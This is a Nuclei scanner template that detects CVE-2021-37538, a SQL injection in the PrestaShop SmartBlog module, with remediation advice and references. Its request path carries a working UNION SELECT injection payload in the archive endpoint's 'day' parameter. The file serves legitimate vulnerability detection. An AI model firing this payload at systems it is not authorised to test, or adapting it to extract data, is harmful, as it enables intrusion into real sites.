nuclei-templates/http/cves/2021/CVE-2021-37538.yaml

46 lines
1.6 KiB
YAML

id: CVE-2021-37538
info:
name: PrestaShop SmartBlog <4.0.6- SQL Injection
author: whoever
severity: critical
description: PrestaShop SmartBlog by SmartDataSoft < 4.0.6 is vulnerable to a SQL injection vulnerability in the blog archive functionality.
remediation: |
Upgrade PrestaShop SmartBlog to version 4.0.6 or later to mitigate the SQL Injection vulnerability.
reference:
- https://blog.sorcery.ie/posts/smartblog_sqli/
- https://nvd.nist.gov/vuln/detail/CVE-2021-37538
- https://classydevs.com/free-modules/smartblog/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-37538
cwe-id: CWE-89
epss-score: 0.02263
epss-percentile: 0.88405
cpe: cpe:2.3:a:smartdatasoft:smartblog:*:*:*:*:*:prestashop:*:*
metadata:
max-request: 1
vendor: smartdatasoft
product: smartblog
framework: prestashop
tags: cve,cve2021,prestashop,smartblog,sqli
http:
- method: GET
path:
- "{{BaseURL}}/module/smartblog/archive?month=1&year=1&day=1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,(SELECT%20MD5(55555)),NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20-"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "c5fe25896e49ddfe996db7508cf00534"
- type: status
status:
- 200
# digest: 4b0a0048304602210094c91b13a6ff8f552d0d7201cad2ccb2942612a466feaaf3baca58ec98dc3cb5022100d1a74eff875230be605a4e03b2cd7bf083f607b9d554440f14fea13c89a85893:922c64590222798bb761d5b6d8e72950